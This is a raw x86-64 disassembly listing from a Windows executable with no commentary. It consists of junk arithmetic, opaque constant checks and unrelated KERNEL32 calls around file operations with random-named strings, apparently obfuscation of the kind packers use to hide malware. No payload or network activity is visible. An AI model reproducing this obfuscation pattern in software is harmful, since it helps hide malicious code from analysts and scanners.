mov qword [rsp + 0x10578], rax
mov rax, qword [0x1402815c8]
movzx eax, byte [rax]
mov byte [rsp + 0x7fac], al
cmp byte [rsp + 0x7fac], 0
je 0x1400184ba
cmp byte [rsp + 0x7fac], 0x2b
je 0x140018560
jmp 0x1400185a7
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov qword [rsp + 0x105d8], rax
movabs rax, 0x772bbd22675cf8
cmp qword [rsp + 0x105d8], rax
je 0x1400184e3
jmp 0x14001855e
mov rax, qword [rsp + 0x10528]
mov r9, qword [rax]
mov r8d, dword [rsp + 0x7ef4]
mov rdx, qword [rsp + 0x10500]
mov ecx, dword [rsp + 0x7f10]
call fcn.1401f2130
movzx eax, word [rsp + 0x27d0]
movzx ecx, word [rsp + 0x27b8]
add eax, ecx
mov word [rsp + 0x27b4], ax
mov rax, qword [rsp + 0x10500]
mov rcx, qword [rsp + 0x104e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10528]
mov qword [rcx], rax
mov eax, dword [rsp + 0x7f88]
mov ecx, dword [rsp + 0x78c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
jmp 0x1400185a7
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xda68], rax
mov ecx, 0x21
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
mov dword [rsp + 0x7f78], eax
mov edx, dword [rsp + 0x7f3c]
movzx ecx, word [rsp + 0x27c0]
call fcn.1401f1fa0
mov rcx, qword [rsp + 0x10580]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x7fa0], eax
movsx eax, word [0x14023c378]
movsx ecx, word [rsp + 0x27c0]
add eax, ecx
mov word [rsp + 0x1fe8], ax
mov eax, dword [rsp + 0x7f10]
mov dword [rsp + 0x7fb0], eax
cmp dword [rsp + 0x7fb0], 0x3b23
je 0x140018606
cmp dword [rsp + 0x7fb0], 0x7e302a1
je 0x1400186a8
jmp 0x1401f1a87
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50f]
xor eax, ecx
mov byte [rsp + 0x48d], al
movsx eax, word [0x14023c378]
movsx ecx, word [rsp + 0x165c]
or eax, ecx
mov word [rsp + 0x27c0], ax
movzx eax, word [rsp + 0x11a8]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x27b4], ax
mov r9, qword [rsp + 0x105e0]
mov r8d, 0xcd
mov edx, 0x10
mov ecx, 0x72
call qword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
mov dword [rsp + 0x7f48], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10500]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x10528]
mov qword [rcx], rax
call fcn.1401f2180
jmp 0x1401f1a87
mov eax, dword [rsp + 0x7f38]
mov dword [rsp + 0x7fb4], eax
cmp dword [rsp + 0x7fb4], 0
je 0x1400186d6
cmp dword [rsp + 0x7fb4], 0x7b52
je 0x1401f1912
jmp 0x1401f1a26
mov eax, dword [rsp + 0x6a58]
mov ecx, dword [rsp + 0x78c0]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7f54]
mov edx, dword [rsp + 0x7f38]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140018853
mov eax, dword [rsp + 0x7f10]
mov dword [rsp + 0x7fb8], eax
cmp dword [rsp + 0x7fb8], 0x7e302a1
je 0x140018722
jmp 0x140018839
mov rax, qword [rsp + 0xda68]
mov qword [rsp + 0x105e8], rax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50d], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x105f0], rax
lea rax, [0x1402815d0]
mov qword [rsp + 0x105f8], rax
mov rax, qword [rsp + 0x104a0]
mov qword [rsp + 0x10600], rax
cmp qword [rsp + 0x10600], 0
je 0x1400187a9
movabs rax, 0x711c90947d0034
cmp qword [rsp + 0x10600], rax
je 0x14001880e
jmp 0x14001882c
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10500]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14023c388], rax
movzx eax, word [rsp + 0x165c]
mov word [rsp + 0x27d4], ax
mov dword [rsp + 0x26ff0], 0x11c
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [0x14023c380]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10508], rax
mov dword [rsp + 0x7fbc], 0x487c
jmp 0x14001882c
mov rax, qword [rsp + 0x104b0]
mov rcx, qword [rsp + 0x104b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a8], rax
mov dword [rsp + 0x7fc0], 0x6850
jmp 0x140018853
movzx eax, word [rsp + 0x27b8]
movzx ecx, word [rsp + 0x27b4]
and eax, ecx
mov word [rsp + 0x11a8], ax
lea rax, [rsp + 0x7ef4]
mov qword [rsp + 0x10608], rax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x27d0]
mov rdx, qword [rsp + 0x10570]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x1400189fe
mov rax, qword [rsp + 0xda68]
mov rcx, qword [rsp + 0x104e8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x105e8], rax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50e]
shl eax, cl
mov byte [rsp + 0x4ef], al
mov eax, dword [rsp + 0x7f54]
mov dword [rsp + 0x7fc4], eax
movzx eax, byte [rsp + 0x50d]
mov byte [0x1402815c0], al
movsx eax, word [rsp + 0x27d4]
movsx ecx, word [rsp + 0x27c0]
sar eax, cl
mov word [rsp + 0x112c], ax
movzx eax, word [rsp + 0x165c]
mov word [rsp + 0x27d8], ax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27cc]
or eax, ecx
mov word [rsp + 0x27b4], ax
mov dword [rsp + 0x7fc8], 0x2008
movzx eax, byte [rsp + 0x50d]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50f]
add eax, ecx
mov byte [rsp + 0x48d], al
mov rax, qword [rsp + 0x10608]
mov ecx, dword [rsp + 0x7f3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f10], eax
mov eax, dword [rsp + 0x7f00]
mov dword [rsp + 0x7fcc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.7R8jhbzfq10NyUKksW4Mm
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x10610], rax
mov rax, qword [rsp + 0x105e8]
mov rcx, qword [rsp + 0xda68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10588], rax
jmp 0x140018ab7
mov ecx, 0xd3
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov qword [rsp + 0x10618], rax
movsx eax, word [rsp + 0x112c]
movsx ecx, word [rsp + 0x27d4]
sub eax, ecx
mov word [0x14023c378], ax
movzx eax, byte [rsp + 0x405]
movzx ecx, byte [rsp + 0xfe]
sub eax, ecx
mov byte [rsp + 0x48d], al
movzx eax, word [rsp + 0x27b4]
movzx ecx, word [rsp + 0x11a8]
and eax, ecx
mov word [rsp + 0x27d0], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x104a8], rax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x104b0], rax
mov rax, qword [rsp + 0x104b8]
mov rcx, qword [rsp + 0x104a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10578], rax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov byte [rsp + 0x510], al
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50e]
sar eax, cl
mov byte [rsp + 0x4ef], al
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x104e8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xda68], rax
lea rax, [rsp + 0x11a8]
mov qword [0x1402815b8], rax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
xor eax, ecx
movsx ecx, byte [rsp + 0x4ef]
mov dword [rsp + 0x7fd0], ecx
movsx edx, byte [rsp + 0x50e]
movzx ecx, dl
mov edx, dword [rsp + 0x7fd0]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140018c80
mov eax, dword [rsp + 0x7f3c]
mov ecx, dword [rsp + 0x7f10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10608]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x105b0], rax
mov rax, qword [rsp + 0x10528]
mov r9, qword [rax]
mov rax, qword [rsp + 0x10608]
mov r8d, dword [rax]
mov rdx, qword [rsp + 0x10548]
mov rax, qword [rsp + 0x10608]
mov ecx, dword [rax]
call fcn.1401f2130
mov rax, qword [rsp + 0x10608]
mov ecx, dword [rsp + 0x7ef4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f10], eax
movzx eax, word [rsp + 0x27d0]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27b8], ax
movsx eax, word [rsp + 0x27d8]
movsx ecx, word [rsp + 0x27c0]
sub eax, ecx
mov word [rsp + 0x1fe8], ax
lea r9, [rsp + 0x10528]
lea r8, [rsp + 0x25030]
mov edx, 0x29
mov rcx, qword [rsp + 0x10568]
call qword [sym.imp.KERNEL32.dll_GetTapeParameters]
mov dword [rsp + 0x7f10], eax
movsx eax, word [0x1402815c2]
movsx ecx, word [rsp + 0x112c]
add eax, ecx
mov word [rsp + 0x27c0], ax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [0x1402815b8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x11a8], ax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50f], al
jmp 0x140018d8c
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
and eax, ecx
movzx ecx, byte [0x1402815c0]
movzx edx, byte [rsp + 0x2fc]
add ecx, edx
cmp eax, ecx
je 0x140018d8c
mov rax, qword [rsp + 0xda68]
mov rcx, qword [rsp + 0x105e8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10528]
mov qword [rcx], rax
mov edx, 0xf5
mov rcx, qword [rsp + 0x10620]
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov dword [rsp + 0x7f78], eax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x10508]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x14023c380], rax
mov eax, dword [rsp + 0x7f3c]
mov rcx, qword [rsp + 0x10608]
mov qword [rsp + 0x10628], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10628]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7ef4], eax
mov rax, qword [0x14023c380]
movzx ecx, al
mov rax, qword [rsp + 0x104b8]
sar rax, cl
mov qword [rsp + 0x104a8], rax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x48d], al
movsx eax, word [rsp + 0x1fe8]
movsx ecx, word [rsp + 0x165c]
and eax, ecx
mov word [rsp + 0x27c0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x10630], rax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10508]
mov rdx, qword [rsp + 0x10578]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x140018ed3
mov edx, 1
mov rcx, qword [rsp + 0x10568]
call qword [sym.imp.KERNEL32.dll_TerminateJobObject]
mov dword [rsp + 0x7f48], eax
movzx eax, word [rsp + 0x27b8]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27cc], ax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
sub eax, ecx
mov byte [rsp + 0x4ef], al
mov rax, qword [rsp + 0x10538]
mov rcx, qword [0x14023c380]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
mov eax, dword [rsp + 0x7fc4]
mov ecx, dword [rsp + 0x7f54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
lea rdx, [rsp + 0x10558]
mov rcx, qword [rsp + 0x10638]
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov dword [rsp + 0x7f80], eax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x10548]
shl rax, cl
mov qword [0x14023c388], rax
mov rax, qword [rsp + 0x10608]
mov ecx, dword [rsp + 0x7f10]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7f3c], eax
movzx eax, word [rsp + 0x11a8]
movzx ecx, word [rsp + 0x27b8]
or eax, ecx
mov word [rsp + 0x27b4], ax
jmp 0x140018fef
movzx eax, word [rsp + 0x27d8]
mov word [rsp + 0x27dc], ax
movzx eax, byte [rsp + 0x48d]
movzx ecx, byte [rsp + 0xfe]
sar eax, cl
mov byte [rsp + 0x50f], al
movsx eax, word [rsp + 0x1fe8]
mov dword [rsp + 0x7fd4], eax
cmp dword [rsp + 0x7fd4], 0x3a1
je 0x140018f1a
jmp 0x140018f5b
mov rax, qword [rsp + 0x10578]
mov rcx, qword [rsp + 0x104b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10508], rax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x104b8], rax
jmp 0x140018fef
movsx eax, word [rsp + 0x112c]
movsx ecx, word [rsp + 0x27dc]
and eax, ecx
mov word [rsp + 0x1eb8], ax
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x7f88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x10608]
mov ecx, dword [rsp + 0x7ef4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14023c390], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x104e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x105e8], rax
mov eax, dword [rsp + 0x7f10]
mov dword [rsp + 0x7fd8], eax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x405]
add eax, ecx
mov byte [rsp + 0x50f], al
cmp dword [rsp + 0x7f60], 0x96b5
jbe 0x140019341
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27b8], ax
mov rax, qword [0x14023c380]
mov rcx, qword [rsp + 0x104b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10578], rax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ef]
add eax, ecx
mov byte [rsp + 0x50e], al
movsx eax, word [rsp + 0x112c]
movsx ecx, word [rsp + 0x1fe8]
add eax, ecx
mov word [rsp + 0x27c0], ax
movzx eax, byte [rsp + 0x50f]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x405], al
mov eax, dword [rsp + 0x7ef4]
movzx ecx, al
mov eax, dword [rsp + 0x7f3c]
shr eax, cl
mov dword [0x14023c390], eax
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x7fcc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f38], eax
mov rax, qword [rsp + 0xda68]
movzx ecx, al
mov rax, qword [rsp + 0x10500]
shl rax, cl
mov qword [rsp + 0x104e8], rax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x27b8], ax
movsx eax, word [rsp + 0x1eb8]
movsx ecx, word [rsp + 0x27dc]
add eax, ecx
mov word [rsp + 0x27d8], ax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27cc]
add eax, ecx
mov word [rsp + 0x27d0], ax
movzx eax, byte [rsp + 0x510]
movzx ecx, byte [rsp + 0x50f]
and eax, ecx
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x104a8], rax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x104a8], rax
mov eax, dword [rsp + 0x7ef4]
mov ecx, dword [rsp + 0x7f10]
add ecx, eax
mov eax, ecx
mov dword [0x14023c390], eax
mov rax, qword [rsp + 0x10608]
mov ecx, dword [0x14023c390]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fd8], eax
mov rax, qword [rsp + 0x104e8]
mov rcx, qword [rsp + 0x105e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10500], rax
movzx eax, word [rsp + 0x27cc]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x10570]
mov word [rcx], ax
movzx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2fc], al
mov eax, dword [rsp + 0x7f60]
sub eax, 0x67
mov dword [rsp + 0x7f60], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50e]
xor eax, ecx
mov byte [rsp + 0xce], al
movsx eax, word [0x1402815c2]
movsx ecx, word [rsp + 0x112c]
shl eax, cl
mov word [rsp + 0x27dc], ax
mov rax, qword [rsp + 0x104a8]
mov rcx, qword [rsp + 0x104b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b8], rax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11a8], ax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x105e8]
sub rcx, rax
mov rax, rcx
mov qword [0x14023c388], rax
mov eax, dword [rsp + 0x6a58]
mov ecx, dword [rsp + 0x78c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fc4], eax
lea rdx, [rsp + 0x104d8]
mov rcx, qword [rsp + 0x10610]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7f34], eax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ef4], eax
movsx eax, word [rsp + 0x27c0]
movsx ecx, word [0x14023c378]
and eax, ecx
mov word [rsp + 0x112c], ax
movzx eax, byte [rsp + 0x48d]
movzx ecx, byte [rsp + 0xfe]
sub eax, ecx
mov byte [rsp + 0x510], al
jmp 0x140018fef
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov qword [rsp + 0x10640], rax
lea rax, [rsp + 0x27dc]
mov qword [rsp + 0x10648], rax
movzx eax, byte [0x1402815c0]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x510], al
movzx eax, word [rsp + 0x27d0]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14023c039], al
lea rax, [rsp + 0x7ef4]
mov qword [rsp + 0x10650], rax
mov rax, qword [rsp + 0x104a0]
mov rcx, qword [rsp + 0x10500]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x10588], rax
mov eax, dword [rsp + 0x7fc4]
movzx ecx, al
mov eax, dword [rsp + 0x7f54]
sar eax, cl
mov dword [rsp + 0x7f38], eax
movsx eax, byte [rsp + 0x4ef]
movsx ecx, byte [rsp + 0x50e]
xor eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x27b8], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x3793
mov r8d, 0x2b8f
mov edx, 0x53
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x7fa0], eax
mov eax, dword [rsp + 0x7fc0]
sub eax, 0xd
mov dword [rsp + 0x7fc0], eax
movzx eax, byte [rsp + 0x405]
movzx ecx, byte [rsp + 0x510]
and eax, ecx
mov byte [rsp + 0x50d], al
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27dc]
add eax, ecx
mov word [rsp + 0x165c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7dfe
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f90], eax
mov rax, qword [rsp + 0x104b0]
mov rcx, qword [rsp + 0x10640]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [0x14023c380]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10508], rax
movzx ecx, word [rsp + 0x27bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27e0], ax
mov rax, qword [rsp + 0x105e8]
mov rcx, qword [rsp + 0xda68]
sub rcx, rax
mov rax, rcx
mov qword [0x14023c370], rax
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x68f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fc4], eax
mov rax, qword [rsp + 0x10608]
mov ecx, dword [rsp + 0x7ef4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x10650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11b0], ax
movzx ecx, word [rsp + 0x27c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27c8], ax
movzx eax, byte [rsp + 0x405]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x104f0]
mov byte [rcx], al
movsx eax, word [rsp + 0x27dc]
movsx ecx, word [rsp + 0x27d4]
sub eax, ecx
mov rcx, qword [rsp + 0x10648]
mov word [rcx], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x10508]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x104a8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x7f1c], eax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104b8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x10578], rax
mov rcx, qword [rsp + 0x10530]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x7fa0], eax
cmp dword [rsp + 0x7fc0], 0x637d
jae 0x1400193ca
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50f]
shl eax, cl
mov byte [rsp + 0x50d], al
mov eax, dword [rsp + 0x7ef4]
mov dword [0x1402815b0], eax
mov eax, dword [rsp + 0x6a58]
movzx ecx, al
mov eax, dword [rsp + 0x7f00]
sar eax, cl
mov dword [rsp + 0x7f38], eax
mov dword [rsp + 0x7fdc], 0x6834
lea rcx, [rsp + 0x26db0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x7fe0], eax
mov edx, 0x17e573
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x7f28], eax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov byte [rsp + 0x7fe4], al
cmp byte [rsp + 0x7fe4], 8
je 0x1400196fa
jmp 0x1401f181a
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov dword [rsp + 0x7fe8], eax
cmp dword [rsp + 0x7fe8], 0x6d3d
je 0x1400197d5
cmp dword [rsp + 0x7fe8], 0xd7e84cfe
je 0x14001972e
jmp 0x14001986c
mov eax, dword [rsp + 0x6a58]
mov ecx, dword [rsp + 0x68f0]
and ecx, eax
mov eax, ecx
mov dword [0x14023c394], eax
lea rax, [0x1402815d0]
mov qword [rsp + 0x10658], rax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0xda68]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x105e8], rax
mov eax, dword [rsp + 0x7fd8]
mov dword [rsp + 0x7fec], eax
lea rcx, str.Dd9Eb4_pimH
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x27e4], ax
mov dword [rsp + 0x7ff0], 0xc1ef
mov eax, dword [rsp + 0x7f00]
movzx ecx, al
mov eax, dword [rsp + 0x7f38]
shl eax, cl
mov dword [rsp + 0x7fc4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x10660], rax
jmp 0x14001986c
movsx eax, word [rsp + 0x112c]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1fe8], ax
movzx eax, byte [0x14023c039]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x50f], al
mov dword [rsp + 0x28], 0x55
mov rax, qword [rsp + 0x105b8]
mov qword [rsp + 0x20], rax
mov r9d, 0xb2
mov r8, qword [rsp + 0x105b8]
mov edx, 0xb7
mov ecx, 0xef
call qword [sym.imp.KERNEL32.dll_CompareStringW]
mov dword [rsp + 0x78c0], eax
movzx eax, word [rsp + 0x11a8]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x10518]
mov word [rcx], ax
call fcn.1401f2020
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [0x14023c380]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10508], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.SPVWNk7dY8bW63
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x10668], rax
mov eax, dword [rsp + 0x7f88]
mov ecx, dword [rsp + 0x7f54]
and ecx, eax
mov eax, ecx
mov dword [0x14023c398], eax
mov rax, qword [rsp + 0x104b8]
mov qword [rsp + 0x10670], rax
mov rax, qword [0x1402815c8]
movzx eax, byte [rax]
mov byte [rsp + 0x7ff4], al
cmp byte [rsp + 0x7ff4], 0
je 0x14001990d
jmp 0x140019971
lea rax, [rsp + 0x104b8]
mov qword [rsp + 0x10678], rax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27c0]
sub eax, ecx
mov word [rsp + 0x112c], ax
movsx eax, byte [rsp + 0x4ef]
movsx ecx, byte [rsp + 0xce]
add eax, ecx
mov byte [rsp + 0x413], al
mov eax, dword [rsp + 0x7ef4]
mov ecx, dword [rsp + 0x7f3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f10], eax
jmp 0x140019a00
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [0x14023c370]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104e8], rax
mov eax, dword [rsp + 0x6a58]
mov ecx, dword [0x14023c398]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fc4], eax
